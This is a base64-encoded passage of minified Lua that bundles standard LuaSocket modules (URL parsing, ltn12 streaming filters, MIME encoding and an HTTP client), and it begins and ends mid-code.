ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
